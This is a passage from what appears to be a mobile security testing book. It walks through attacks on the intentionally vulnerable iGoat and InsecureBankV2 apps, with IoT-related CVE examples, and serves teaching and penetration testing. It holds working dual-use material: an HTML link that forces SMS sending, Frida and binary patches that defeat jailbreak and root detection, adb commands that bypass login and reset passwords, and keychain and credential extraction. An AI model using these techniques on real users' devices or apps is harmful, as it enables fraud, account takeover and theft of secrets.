([`cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5633/`](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5633/)). #### Inspecting Application Logs and Forcing the Device to Send Messages Moving forward with our assessment, we can inspect the application logs to identify leaked debug strings that might help us to infer the application business logic. You can retrieve the logs through the Console app’s interface, which is preinstalled in macOS, as shown in Figure 14-7.  Figure 14-7: Exposed encryption password in iOS device logs You can also retrieve them using the Xcrun tool: ``` $ **`xcrun simctl spawn booted log stream > sim.log&`; open sim.log;** ``` The device logs contain an encryption key that you can use to authenticate in the Key Management category’s Random Key Generation challenge in the app functionalities. It seems that although the application correctly generated an encryption key for authentication purposes, this key was leaked in the logs, so an attacker with physical access to a computer and a paired device could obtain it. A careful inspection of the logs while the other app functionalities are in use reveals that the app uses the URL scheme we identified on page 344 to send an internal message, as shown in Figure 14-8.  Figure 14-8: Exposed URL scheme parameters in iOS device logs Let’s verify this behavior by using the `xcrun` command to open a URL with a similar structure in the simulator’s browser: ``` $ **xcrun simctl openurl booted** **“iGoat://?contactNumber=+1000000&message=hacked”** ``` To exploit this vulnerability, we could create a fake HTML page that would load the URL when the browser renders the included HTML elements and then force the victim to send multiple unsolicited messages of this type. You can use the following HTML to conduct this attack when the user clicks the link. This attack would let you successfully pass the URL Scheme challenge in the app functionalities: ``` <html> <a href="iGoat://?contactNumber=+1000000&message=hacked"/> click here</a> </html> ``` Figure 14-9 shows that we succeeded in sending a text message from the user’s phone.  Figure 14-9: Abuse of the exposed URL scheme to force a victim to send SMS messages This vulnerability could be extremely useful; in some cases, it could let you remotely control IoT devices that receive commands via text messages from authorized numbers. Smart car alarms often have this feature. #### Application Snapshots Another common way data gets leaked in iOS apps is through app screenshots. When the user selects the home button, iOS takes a screenshot of the app by default and stores it in the file system in cleartext. This screenshot can contain sensitive data, depending on the screen the user was viewing. You can replicate this issue in the Side Channel Data Leaks category’s Backgrounding challenge in the app functionalities. Using the following commands, you can navigate to the application’s *Snapshots* folder, where you might find currently saved snapshots: ``` $ **cd data/Containers/Data/Application/<application-id>/Library/Caches/Snapshots/com.swaroop.iGoat/** $ **open E6787662-8F9B-4257-A724-5BD79207E4F2\@3x.ktx** ``` #### Testing for Pasteboard and Predictive Text Engine Data Leaks Additionally, iOS apps commonly suffer from pasteboard and predictive text engine data leaks. The *pasteboard* is a buffer that helps users share data between different application interfaces, or even between different applications, when they select a cut, copy, or duplicate operation from a system-provided menu. But this exact functionality might unintentionally disclose sensitive information, such as the user’s password, to third-party malicious apps that are monitoring this buffer, or to other users on a shared IoT device. The *predictive text engine* stores words and sentences that a user types and then automatically suggests them the next time the user attempts to fill an input, improving the overall writing speed. But attackers can easily find this sensitive data in a jailbroken device’s filesystem by navigating to the following folder: ``` $ **cd data/Library/Keyboard/en-dynamic.lm/** ``` Using this knowledge, you can easily solve the Side Channel Data Leaks category’s Keystroke Logging and the Cut-and-Paste challenges in the app functionalities. The Huawei HiLink app for iOS contained an information-leak vulnerability of this type ([`www.cvedetails.com/cve/CVE-2017-2730/`](https://www.cvedetails.com/cve/CVE-2017-2730/)). The app works with many Huawei products, such as Huawei Mobile WiFi (E5 series), Huawei routers, Honor Cube, and Huawei home gateways. The vulnerability allowed attackers to collect user information about the iPhone model and firmware version and potentially track the vulnerable devices. ### Injection Attacks Although XSS injection is a very common vulnerability in web applications, it’s difficult to find in mobile apps. But you’ll sometimes see it in cases when an app uses WebView to present untrusted content. You can test such a case in the Injection Flaws category’s Cross Site Scripting challenge in the app functionalities by injecting a simple JavaScript payload between script tags in the provided input field (Figure 14-10).  Figure 14-10: An XSS attack in the examined application An adversary able to exploit an XSS vulnerability in WebView could access any sensitive information currently rendered, as well as the HTTP authentication cookies that might be in use. They could even tamper with the presented web page by adding customized phishing content, such as fake login forms. In addition, depending on the WebView configuration and the platform framework support, the attacker might also access local files, exploit other vulnerabilities in supported WebView plug-ins, or even perform requests to native function calls. It might also be possible to perform a SQL injection attack on mobile apps. If the application uses the database to log usage statistics, the attack would most likely fail to alter the application flow. On the contrary, if the application uses the database for authentication or restricted content retrieval and a SQL injection vulnerability is present, we might be able to bypass that security mechanism. If we can modify data to make the application crash, we can turn the SQL injection into a denial-of-service attack. In the Injection Flaws category’s SQL Injection challenge in the app functionalities, you can use a SQL injection attack vector to retrieve unauthorized content using a malicious SQL payload. Note that since iOS 11, the iPhone keyboard contains only a single quotation mark instead of the ASCII vertical apostrophe character. This omission might increase the difficulty of exploiting certain SQL vulnerabilities, which often require an apostrophe to create a valid statement. It’s still possible to disable this feature programmatically using the `smartQuotesType` property ([`developer.apple.com/documentation/uikit/uitextinputtraits/2865931-smartquotestype/`](https://developer.apple.com/documentation/uikit/uitextinputtraits/2865931-smartquotestype/)). ### Keychain Storage Many applications store secrets using the *keychain service API*, a platform-provided encrypted database. In the iOS simulator, you can obtain those secrets by opening a simple SQL database. You might need to use the `vacuum` command to merge the data from the SQLite system’s *Write-Ahead-Logging* mechanism. This popular mechanism is designed to provide durability to multiple database systems. If the app is installed on a physical device, you’ll first need to jailbreak the device and then use a third-party tool to dump the keychain records. Possible tools include the Keychain Dumper ([`github.com/ptoomey3/Keychain-Dumper/`](https://github.com/ptoomey3/Keychain-Dumper/)), the IDB tool ([`www.idbtool.com/`](https://www.idbtool.com/)), and the Needle ([`github.com/FSecureLABS/needle/`](https://github.com/FSecureLABS/needle/)). In the iOS simulator, you could also use the iGoat Keychain Analyzer included in the iGoat app. This tool only works for the iGoat app. Using the retrieved records, you can now solve the Data Protection (Rest) category’s Keychain Usage challenge in the app functionalities. You must first uncomment the `[self storeCredentialsInKeychain]` function call in the *iGoat/Key Chain/KeychainExerciseViewController.m* file to configure the application to use the keychain service API. ### Binary Reversing Developers usually hide secrets in the application source code’s business logic. Because the source code isn’t always available, we’ll examine the binary by reversing the assembly code. For this purpose, you could use an open source tool like Radare2 ([`rada.re/n/`](https://rada.re/n/)). Before the examination, we have to *thin* the binary. Thinning the binary only isolates a specific architecture’s executable code. You can find versions of the iOS binary in either the MACH0 or FATMACH0 format, which includes ARM6, ARM7, and ARM64 executables. We only want to analyze one of these, the ARM64 executable, which you can easily extract using the `rabin2` command: ``` $ **rabin2 -x iGoat** iGoat.fat/iGoat.arm_32.0 created (23729776) iGoat.fat/iGoat.arm_64.1 created (24685984) ``` We can then load and perform an initial analysis on the binary using the `r2`command: ``` $ **r2 -A iGoat.fat/iGoat.arm_64.1** [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) ... [0x1000ed2dc]> 1 **fs** 6019 * classes 35 * functions 442 * imports … ``` The analysis will associate names, called *flags*, with specific offsets in the binary, such as sections, functions, symbols, and strings. We can obtain a summary of these flags using the `fs` command 1 and get a more detailed list using the `fs; f` command. Use the `iI` command to retrieve information regarding the binary: ``` [0x1000ed2dc]> **iI~crypto** 1 crypto false [0x1000ed2dc]> **iI~canary** 2 canary true ``` Inspect the returned compilation flags. Those we see here indicate that the specific binary has been compiled with Stack Smashing Protection 2 but hasn’t been encrypted by Apple Store 1. Because iOS apps are usually written in Objective-C, Swift, or C++, they store all symbolic information in the binary; you can load it using the *ojbc.pl* script included in the `Radare2` package. This script generates shell commands based on these symbols and the corresponding addresses that you can use to update the Radare2 database: ``` $ **objc.pl iGoat.fat/iGoat.arm_64.1** f objc.NSString_oa_encodedURLString = 0x1002ea934 ``` Now that all the existing metadata has been loaded into the database, we can search for specific methods and use the `pdf` command to retrieve the assembly code: ``` [0x003115c0]> **fs; f | grep Broken** 0x1001ac700 0 objc.BrokenCryptographyExerciseViewController_getPathForFilename 0x1001ac808 1 method.BrokenCryptographyExerciseViewController.viewDidLoad … [0x003115c0]> **pdf @method.BrokenCryptographyExerciseViewController.viewDidLoad** | (fcn) sym.func.1001ac808 (aarch64) 568 | sym.func.1001ac808 (int32_t arg4, int32_t arg2, char *arg1); | ||||||| ; var void *var_28h @ fp-0x28 | ||||||| ; var int32_t var_20h @ fp-0x20 | ||||||| ; var int32_t var_18h @ fp-0x18 ``` It’s also possible to use the `pdc`command to generate pseudocode and decompile the specific function. In this case, Radare2 automatically resolves and presents references to other functions or strings: ``` [0x00321b8f]> **pdc @method.BrokenCryptographyExerciseViewController.viewDidLoad** function sym.func.1001ac808 () { loc_0x1001ac808: … x8 = x8 + 0xca8 //0x1003c1ca8 ; str.cstr.b_nkP_ssword123 ; (cstr 0x10036a5da) "b@nkP@ssword123" ``` We can easily extract the hardcoded value `b@nkP@ssword123`, which you can use to authenticate in the Key Management category’s Hardcoded Keys challenge in the app functionalities. Using a similar tactic, researchers found a vulnerability in earlier versions of the MyCar Controls mobile app ([`cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9493/`](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9493/)). The app allows users to remotely start, stop, lock, and unlock their car. It contained hardcoded admin credentials. ### Intercepting and Examining Network Traffic Another important part of an iOS app assessment is to examine its network protocol and the requested server API calls. Most mobile apps primarily use the HTTP protocol, so we’ll focus on it here. To intercept the traffic, we’ll use the community version of Burp Proxy Suite, which initiates a web proxy server that sits as a man-in-the-middle between the mobile and destination web server. You can find it at [`portswigger.net/burp/`](https://portswigger.net/burp/). To relay the traffic, you’ll need to perform a man-in-the-middle attack, which you can do in numerous ways. Because we’re just trying to analyze the app, not re-create a realistic attack, we’ll follow the easiest attack path: configuring an HTTP proxy on the device within the network settings. In a physical Apple device, you can set an HTTP proxy by navigating to the connected wireless network. Once there, alter the proxy option of the macOS system to the external IPv4 address where you’ll run Burp Proxy Suite using port 8080\. In the iOS simulator, set the global system proxy from the macOS network settings, making sure to set **Web Proxy (HTTP)** and **Secure Web Proxy (HTTPS)** to the same value. After configuring the proxy settings on an Apple device, all the traffic will redirect to Burp Proxy Suite. For example, if we use the Authentication task in the iGoat app, we could capture the following HTTP request, which contains a username and password: ``` GET /igoat/token?username=**donkey**&password=**hotey** HTTP/1.1 Host: localhost:8080 Accept: */* User-Agent: iGoat/1 CFNetwork/893.14 Darwin/17.2.0 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close ``` If the app used SSL to protect the intermediate communication, we’d have to perform the extra step of installing a specially crafted SSL certificate authority (CA) to our testing environment. Burp Proxy Suite can automatically generate this CA for us. You can obtain it by navigating to the proxy’s IP address using a web browser and then clicking the **Certificate** link at the top right of the screen. The Akerun Smart Lock Robot app for iOS ([`www.cvedetails.com/cve/CVE-2016-1148/`](https://www.cvedetails.com/cve/CVE-2016-1148/)) contained a similar issue. More precisely, researchers discovered that all application versions earlier than 1.2.4 don’t verify SSL certificates, allowing man-in-the-middle attackers to eavesdrop on encrypted communications with the smart lock device. ### Avoiding Jailbreak Detection Using Dynamic Patching In this section, we’ll tamper with the application code as it’s executed in the device memory and dynamically patch one of its security controls to circumvent it. We’ll target the control that performs the environment integrity check. To perform this attack, we’ll use the Frida instrumentation framework ([`frida.re/`](https://frida.re/)). You can install it as follows using the `pip` package manager for Python: ``` $ **pip install frida-tools** ``` Next, locate the function or API call that performs the environment integrity check. Because the source code is available, we can easily spot the function call in the `iGoat/String Analysis/Method Swizzling/MethodSwizzlingExerciseController.m` class. This security check only works on physical devices, so you won’t see any difference when it’s active in the simulator: ``` assert((NSStringFromSelector(_cmd) isEqualToString:@”fileExistsAtPath:”]); // Check for if this is a check for standard jailbreak detection files if ([path hasSuffix:@”Cydia.app”] || [path hasSuffix:@”bash”] || [path hasSuffix:@”MobileSubstrate.dylib”] || [path hasSuffix:@”sshd”] || [path hasSuffix:@”apt”])_ ``` By dynamically patching this function, we can force the return parameter to always be successful. Using the Frida framework, we create a file called *jailbreak.js* with code that does just that: ``` 1 var hook = ObjC.classes.NSFileManager["- fileExistsAtPath:"]; 2 Interceptor.attach(hook.implementation, { onLeave: function(retval) { 3 retval.replace(0x01); }, }); ``` This Frida code starts by searching for the Objective-C function `fileExistsAtPath` from the `NSFileManager` class and returns a pointer to this function 1. Next, it attaches an interceptor to this function 2 that dynamically sets a callback named `onLeave`. This callback will execute at the end of the function, and it’s configured to always replace the original return value with `0x01` (the success code) 3. Then we apply the patch by attaching the Frida tool to the corresponding application process: ``` $ **frida -l jailbreak.js -p 59843** ``` You can find the exact Frida framework syntax for patching Objective-C methods in the online documentation at [`frida.re/docs/javascript-api/#objc/`](https://frida.re/docs/javascript-api/#objc/). ### Avoiding Jailbreak Detection Using Static Patching You could circumvent jailbreak detection using static patching, too. Let’s use Radare2 to examine the assembly and patch the binary code. For example, we can replace the comparison of the `fileExists` result with a statement that is always true. You can find the function `fetchButtonTapped` at *iGoat/String Analysis/Method Swizzling/MethodSwizzlingExerciseController.m*: ``` -(IBAction)fetchButtonTapped:(id)sender { ... if (fileExists) [self displayStatusMessage:@"This app is running on ... else [self displayStatusMessage:@"This app is not running on ... ``` Because we want to reinstall the patched version of the code in the simulator, we’ll work with the app’s *Debug-iphonesimulator* version, which is located in the Xcode-derived data folder we mentioned on page 343\. First, we open the binary in write mode using the -w parameter: ``` $ **r2 -Aw ~/Library/Developer/Xcode/DerivedData/iGoat-<application-id>/Build/Products/Debug-iphonesimulator/iGoat.app/iGoat** [0x003115c0]> **fs; f | grep fetchButtonTapped** 0x1000a7130 326 sym.public_int_MethodSwizzlingExerciseController::fetchButtonTapped_int 0x1000a7130 1 method.MethodSwizzlingExerciseController.fetchButtonTapped: 0x100364148 19 str.fetchButtonTapped: ``` This time, instead of requesting that Radare2 disassemble or decompile the app with the `pdf` and `pdc` commands, we’ll change to the graph view by using the `VV` command and then pressing **p** on the keyboard. This representation is easier for locating business logic switches: ``` [0x1000ecf64]> **VV @ method.MethodSwizzlingExerciseController.fetchButtonTapped:** ``` This command should open the graph view shown in Figure 14-11.  Figure 14-11: The Radare2 graph view representing the logic switch An easy way to disable the comparison is by replacing the `je` command (opcode `0x0F84`) with the `jne` command (opcode `0x0F85`), which returns the exact opposite result. As a consequence, when the processor reaches this step, it will continue execution in the block and report that the device isn’t jailbroken. Note that this version of the binary is designed for the iOS simulator. The binary for the iOS device would contain the equivalent ARM64 operation of `TBZ`. Change the view by pressing **q** to quit the graph view and then pressing **p** to enter assembly mode. This allows us to get the address of the operation in the binary (you could also use `pd` directly): ``` [0x003115c0]>**q** [0x003115c0]>**p** … 0x1000a7218 f645e701 test byte [var_19h], 1 < 0x1000a721c 0f8423000000 je 0x1000a7245 ... [0x1000f7100]> **wx 0f8523000000 @ 0x1000a721c** ``` Then we can re-sign and reinstall the app in the simulator: ``` $ **/usr/bin/codesign --force --sign - --timestamp=none ~/Library/Developer/Xcode/DerivedData/iGoat-<application-id>/Build/Products/Debug-iphonesimulator/iGoat.app** replacing existing signature ``` If we were working on a physical device, we’d have to use one of the binary re-signing techniques to install the modified binary. ## Analyzing Android Applications In this section, we’ll analyze the insecure Android app InsecureBankV2\. Like iGoat, this isn’t an IoT companion app, but we’ll focus on vulnerabilities relevant to IoT devices. ### Preparing the Test Environment Android has no environment restrictions, and you can perform a successful assessment whether your operating system is running on Windows, macOS, or Linux. To set up the environment, install the Android Studio IDE ([`developer.android.com/studio/releases/`](https://developer.android.com/studio/releases/)). Alternatively, you can install the Android software development kit (SDK) and the Android SDK Platform Tools directly by downloading the ZIP files from the same website. Start the included *Android Debug Bridge service*, which is the binary that interacts with Android devices and emulators, and identify the connected devices using the following command: ``` $ **adb start-server** * daemon not running; starting now at tcp:5037 * daemon started successfully ``` Currently, no emulators or devices are connected to our host. We can easily create a new emulator using the Android Virtual Device (AVD) Manager, which is included in the Android Studio and the Android SDK tools. Access AVD, download the Android version you want, install it, name your emulator, run it, and you’re ready to go. Now that we’ve created an emulator, let’s try to access it by running the following commands, which will list the devices connected to your system. These devices might be actual devices or emulators: ``` $ **adb devices** emulator-5554 device ``` Excellent, an emulator was detected. Now we’ll install the vulnerable Android app in the emulator. You can find InsecureBankV2 at [`github.com/dineshshetty/Android-InsecureBankv2/`](https://github.com/dineshshetty/Android-InsecureBankv2/). Android apps use a file format called the Android Package (APK). To install the InsecureBankV2 APK to our emulator device, navigate to your target application folder and then use the following command: ``` $ **adb -s emulator-5554 install app.apk** Performing Streamed Install Success ``` You should now see the application’s icon in the simulator, indicating the installation succeeded. You should also run InsecureBankV2 AndroLab, a python2 backend server using the commands which can be found in the same GitHub repository. ### Extracting an APK In some cases, you might want to investigate a specific APK file separately from the rest of the Android device. To do this, use the following commands to extract an APK from a device (or emulator). Before extracting a package, we need to know its path. We can identify the path by listing the relevant packages: ``` $ **adb shell** **pm list packages** com.android.insecurebankv2 ``` Once we’ve identified the path, we extract the application by using the `adb pull` command: ``` $ **adb shell pm path com.android.insecurebankv2** package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk $ **adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk** : 1 file pulled. 111.6 MB/s (3462429 bytes in 0.030s) ``` This command extracts the APK to your host system’s current working directory. ### Static Analysis Let’s start with static analysis by examining the APK file, which you’ll first need to decompress. Use the `apktool` ([`ibotpeaches.github.io/Apktool/`](https://ibotpeaches.github.io/Apktool/)) to extract all the relevant information from the APK without losing any data: ``` $ **apktool d app.apk** I: Using Apktool 2.4.0 on app.apk I: Loading resource table... …. ``` One of the most important files in the APK is *AndroidManifest.xml*. The Android manifest is a binary-encoded file containing information such as the Activities used. *Activities,* in an Android app, are the screens in the application’s user interface. All Android apps have at least one Activity, and the name of the main one is included in the manifest file. This Activity executes when you launch the app. In addition, the manifest file contains the permissions that the app requires, the supported Android versions, and *Exported* Activities, which might be prone to vulnerabilities, among other features. An Exported Activity is a user interface that components of different applications can launch. The *classes.dex*file contains the application’s source code in a Dalvik Executable (DEX) file format. Inside the *META-INF* folder, you’ll find various metadata from the APK file. In the *res*folder, you’ll find compiled resources, and in the *assets* folder, you’ll find the application’s assets. We’ll devote most of our time to exploring *AndroidManifest.xml* and the DEX format files. #### Automating Static Analysis Let’s explore some tools that will help you perform static analysis. But be wary of basing your entire test on just automated tools, because they’re not perfect and you might miss a critical issue. You can use Qark ([`github.com/linkedin/qark/`](https://github.com/linkedin/qark/)) to scan the source code and an application’s APK file. With the following command, we perform static analysis on the binary: ``` $ **qark --apk path/to/my.apk** Decompiling sg/vantagepoint/a/a... ... Running scans... Finish writing report to /usr/local/lib/python3.7/site-packages/qark/report/report.html ... ``` This will take some time. Aside from Qark, you can use the MobSF tool mentioned earlier in this chapter. ### Binary Reversing The Qark tool you just ran reversed the binary to perform checks on it. Let’s try to do this manually. When you extracted files from the APK, you were provided with a bunch of DEX files containing compiled app code. Now we’ll translate this bytecode to make it more readable. For this purpose, we’ll use the Dex2jartool ([`github.com/pxb1988/dex2jar/`](https://github.com/pxb1988/dex2jar/)) to convert the bytecode to a JAR file: ``` $ **d2j-dex2jar.sh app.apk** dex2jar app.apk -> ./app-dex2jar.jar ``` Another great tool for this purpose is Apkx([`github.com/b-mueller/apkx/`](https://github.com/b-mueller/apkx/)), which is a wrapper for different decompilers. Remember that even if one decompiler fails, another one might succeed. Now we’ll use a JAR viewer to browse the APK source code and read it easily. A great tool for this purpose is JADX`(-gui)(`[`github.com/skylot/jadx/`](https://github.com/skylot/jadx/)). It basically attempts to decompile the APK and allows you to navigate through the decompiled code in highlighted text format. If given an already decompiled APK, it will skip the decompiling task. You should see the app broken down into readable files for further analysis. Figure 14-12 shows the contents of one such file.  Figure 14-12: Contents of `CryptoClass` depicting the value of the variable key In `CryptoClass`, we’ve already uncovered an issue: a hardcoded key. This key appears to be a secret for some cryptographic functions. Researchers found a similar vulnerability in EPSON’s iPrint application version 6.6.3 ([`www.cvedetails.com/cve/CVE-2018-14901/`](https://www.cvedetails.com/cve/CVE-2018-14901/)), which allowed users to remotely control their printing devices. The app contained hardcoded API and Secret keys for the Dropbox, Box, Evernote, and OneDrive services. ### Dynamic Analysis Now we’ll move onto dynamic analysis. We’ll use Drozer, a tool that helps us test Android permissions and exported components ([`github.com/FSecureLABS/drozer/`](https://github.com/FSecureLABS/drozer/)). Note that Drozer has stopped being developed, but it’s still useful for simulating rogue applications. Let’s find more information about our application by issuing the following command: ``` dz> **run app.package.info -a com.android.insecurebankv2** Package: com.android.insecurebankv2 Process Name: com.android.insecurebankv Data Directory: /data/data/com.android.insecurebankv2 APK Path: /data/app/com.android.insecurebankv2-1.apk UID: 10052 GID: [3003, 1028, 1015] Uses Permissions: - android.permission.INTERNET - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.SEND_SMS ... ``` Look at this high-level overview. From here, we can go a bit deeper by listing the app’s attack surface. This will provide us with enough information to identify Exported Activities, broadcast receivers, content providers, and services. All these components might be configured poorly and thus be prone to security vulnerabilities: ``` dz> **run app.package.attacksurface com.android.insecurebankv2** Attack Surface: 1 5 activities exported 1 broadcast receivers exported 1 content providers exported 0 services exported ``` Even though this is a small app, it looks like it’s exporting various components, the majority of which are Activities 1. #### Resetting User Passwords Let’s take a closer look at the exported components: it’s possible these Activities don’t require special permissions to view: ``` dz> **run app.activity.info -a com.android.insecurebankv2** Package: com.android.insecurebankv2 com.android.insecurebankv2.LoginActivity Permission: null 1 com.android.insecurebankv2.PostLogin Permission: null 2 com.android.insecurebankv2.DoTransfer Permission: null 3 com.android.insecurebankv2.ViewStatement Permission: null 4 com.android.insecurebankv2.ChangePassword Permission: null ``` It looks like the Activities don’t have any permissions and third-party apps can trigger them. By accessing the `PostLogin`1Activity, we can bypass the login screen, which looks like a win. Access that specific Activity through the Adb tool, as demonstrated here, or Drozer: ``` $ **adb shell am start -n com.android.insecurebankv2/com.android.insecurebankv2.PostLogin** Starting: Intent { cmp=com.android.insecurebankv2/.PostLogin ``` Next, we should either extract information from the system or manipulate it in some way. The `ViewStatement`3 Activity looks promising: we might be able to extract the user’s bank transfer statements without having to log in. The `DoTransfer`2and `ChangePassword`4 Activities are state-altering actions that probably have to communicate with the server-side component. Let’s try to change the user’s password: ``` $ **adb shell am start -n com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword** Starting: Intent { cmp=com.android.insecurebankv2/.ChangePassword } ``` We trigger the `ChangePassword`Activity, set a new password, and press ENTER. Unfortunately, the attack won’t work. As you can see in the emulator, the username field is empty (Figure 14-13). But we were very close. It’s not possible to edit the username field through the UI, because the input is empty and disabled.  Figure 14-13: The `ChangePassword` Activity’s interface with the username field empty and disabled Most likely, another Activity fills this field by triggering this Intent. By doing a quick search, you should be able to find the point at which this Activity gets triggered. Look at the following code. The Intent responsible for filling the username field creates a new Activity and then passes an extra parameter with the name `uname`. This must be the username. ``` protected void changePasswd() { Intent cP = new Intent(getApplicationContext(), ChangePassword.class); cP.putExtra("uname", uname); startActivity(cP); } ``` By issuing the following command, we start the `ChangePassword` Activity and provide the username as well: ``` $ **adb shell am start -n com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword** **--es "uname" "dinesh"** Starting: Intent { cmp=com.android.insecurebankv2/.ChangePassword (has extras) } ``` You should see the username appear in the login form (Figure 14-14).  Figure 14-14: The `ChangePassword` Activity’s interface with the username field completed Now that we’ve filled the username field, we can change the password successfully. We can attribute this vulnerability to the Exported Activity but mostly to the server-side component. If the password-reset functionality required the user to add their current password as well as the new one, this issue would have been avoided. #### Triggering SMS Messages Let’s continue our exploration of the InsecureBankV2 app. We might be able to uncover more interesting behavior. ``` <receiver android:name="com.android.insecurebankv2.MyBroadCastReceiver" 1android:exported="true"> <intent-filter><action android:name="theBroadcast"/></intent-filter> </receiver> ``` While reviewing *AndroidManifest.xml*, we can see that the app exports one receiver 1. Depending on its functionality, it might be worth exploiting. By visiting the relevant file, we can see that this receiver requires two arguments, `phn` and `newpass`. Now we have all the necessary information that we need to trigger it: ``` $ **adb shell am broadcast -a theBroadcast -n com.android.insecurebankv2/com.android.** `insecurebankv2.MyBroadCastReceiver --es phonenumber 0 --es newpass test` Broadcasting: Intent { act=theBroadcast flg=0x400000 cmp=com.android.insecurebankv2/.MyBroadCastReceiver (has extras) } ``` If successful, you should receive an SMS message with your new password. As an attack, you could use this feature to send messages to premium services, causing the unsuspected victim to lose significant amounts of money. #### Finding Secrets in the App Directory There are many ways to store secrets in Android, some of which are secure enough. Others? Not so much. For example, it’s quite common for applications to store secrets inside their application directories. Even though this directory is private to the app, in a compromised or rooted device, all apps could access each other’s private folders. Let’s look at our app’s directory: ``` $ **cat shared_prefs/mySharedPreferences.xml** <map> <string name="superSecurePassword">**DTrW2VXjSoFdg0e61fHxJg== ** </string> <string name="EncryptedUsername">**ZGluZXNo **</string> </map> ``` The app appears to store user credentials inside the shared preferences folder. With a little bit of research, we can see that the key we discovered earlier in this chapter, located in the file *com.android.insecurebankv2.CryptoClass*, is the key used to encrypt that data. Combine this information and try to decrypt the data located in that file. A similar issue existed in a popular IoT companion app, TP-Link Kasa and was discovered by M. Junior et al. ([`arxiv.org/pdf/1901.10062.pdf`](https://arxiv.org/pdf/1901.10062.pdf)). The app used a weak symmetric encryption function, the Caesar cipher, combined with a hardcoded seed to encrypt sensitive data. Also, researchers reported such a vulnerability in the Philips HealthSuite Health Android app, which was designed to allow you to retrieve key body measurements from a range of Philips connected health devices. The issue allowed an attacker with physical access to impact the confidentiality and integrity of the product ([`www.cvedetails.com/cve/CVE-2018-19001/`](https://www.cvedetails.com/cve/CVE-2018-19001/)). #### Finding Secrets in Databases Another low-hanging fruit to check for secret storing are the databases located in the very same directory. Very often, you’ll see secrets or even sensitive user information being stored unencrypted in local databases. By looking at the databases located in your application’s private storage, you might be able to pick up something interesting: ``` generic_x86:/data/data/com.android.insecurebankv2 #$ **ls databases/** mydb mydb-journal ``` Also always look for files stored outside the application’s private directory. It’s not unusual for applications to store data in the SD card, which is a space that all applications have read and write access to. You can easily spot these instances by searching for the function `getExtrenalStorageDirectory()`. We leave this search as an exercise for you to complete. Once you’ve completed it, you should have a hit; the application seems to be using this storage. Now, navigate to the SD card directory: ``` Generic_ x86:$ **cd /sdcard && ls** Android DCIM Statements_dinesh.html ``` The file *Statement_dinesh.html* is located in external storage and is accessible by any application installed on that device with external storage access. Research from A. Bolshev and I. Yushkevich ([`ioactive.com/pdfs/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab%20(1).pdf`](https://ioactive.com/pdfs/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab%20(1).pdf)) has identified this type of vulnerability in undisclosed IoT apps that are designed to control SCADA systems. These apps used an old version of the Xamarin Engine, which stored Monodroid engine’s DLLs in the SD card, introducing a DLL hijack vulnerability. ### Intercepting and Examining Network Traffic To intercept and examine network traffic, you can use the same approach we used for iOS apps. Note that newer Android versions require repackaging the applications to use user-installed CAs. The same vulnerabilities in the network layer can exist on the Android platform. For example, researchers discovered one such vulnerability in the OhMiBod Remote app for Android ([`www.cvedetails.com/cve/CVE-2017-14487/`](https://www.cvedetails.com/cve/CVE-2017-14487/)). The vulnerability allowed remote attackers to impersonate users by monitoring network traffic and then tampering with fields such as the username, user ID, and token. The app remotely controls OhMiBod vibrators. A similar issue exists in the Vibease Wireless Remote Vibrator app, which allows you to remotely control Vibease vibrators ([`www.cvedetails.com/cve/CVE-2017-14486/).`](https://www.cvedetails.com/cve/CVE-2017-14486/).) The iRemoconWiFi app, designed to allow users to control a variety of consumer electronics, was also reported to not verify X.509 certificates from SSL servers ([`www.cvedetails.com/cve/CVE-2018-0553/`](https://www.cvedetails.com/cve/CVE-2018-0553/)). ### Side-Channel Leaks Side-channel leaks might occur through different components of an Android device—for instance, through tap jacking, cookies, the local cache, an application snapshot, excessive logging, a keyboard component, or even the accessibility feature. Many of these leaks affect both Android and iOS, like cookies, the local cache, excessive logging, and custom keyboard components. An easy way to spot side-channel leaks is through excessive logging. Very often, you’ll see application logging information that developers should have removed when publishing the app. Using `adb logcat`,we can monitor our device’s operation for juicy information. An easy target for this process is the login process, as you can see in Figure 14-15, which shows an excerpt of the logs.  Figure 14-15: Account credentials exposed to the Android device logs This is a good example of the information you can capture just from logging. Keep in mind that only privileged applications can gain access to this information. E. Fernandes et al. recently discovered a similar side-channel leak issue in a popular IoT companion app for the IoT-enabled Schlage door lock ([`iotsecurity.eecs.umich.edu/img/Fernandes_SmartThingsSP16.pdf`](http://iotsecurity.eecs.umich.edu/img/Fernandes_SmartThingsSP16.pdf)). More precisely, the researchers found that the ZWave lock device handler, which communicates with the device hub that controls the door looks, creates a reporting event object that contains various data items, including the plaintext device pin. Any malicious app installed on the victim’s device could subscribe for such reporting event objects and steal the door lock pin. ## Avoid Root Detection Using Static Patching Let’s dive into the app’s source and identify any protection against rooted or emulated devices. We can easily identify these checks if we look for any reference to rooted devices, emulators, superuser applications, or even the ability to perform actions on restricted paths. By looking for the word “root” or “emulator” on the app, we quickly identify the *com.android.insecureBankv2.PostLogin* file, which contains the functions `showRootStatus()` and `checkEmulatorStatus()`. The first function detects whether the device is rooted, but it looks like the checks it performs aren’t very robust: it checks whether *Superuser.apk* is installed and whether the *su* binary exists in the filesystem. If we want to practice our binary patching skills, we can simply patch these functions and change the `if` switch statement. To perform this change, we’ll use Baksmali ([`github.com/JesusFreke/smali/`](https://github.com/JesusFreke/smali/)), a tool that allows us to work in smali, a human-readable version of the Dalvik bytecode: ``` $ **java -jar baksmali.jar -x classes.dex -o smaliClasses** ``` Then we can change the two functions in the decompiled code: ``` .method showRootStatus()V ... invoke-direct {p0, v2}, Lcom/android/insecurebankv2/PostLogin;->doesSuperuserApkExist(Ljava/lang/String;)Z if-nez v2, 1 :**cond_f** invoke-direct {p0}, Lcom/android/insecurebankv2/PostLogin;->doesSUexist()Z if-eqz v2, 2 :**cond_1a** ... 3 :cond_f const-string v2, "Rooted Device!!" ... 4 :cond_1a const-string v2, "Device not Rooted!!" ... .end method ``` The only task you need to do is alter the 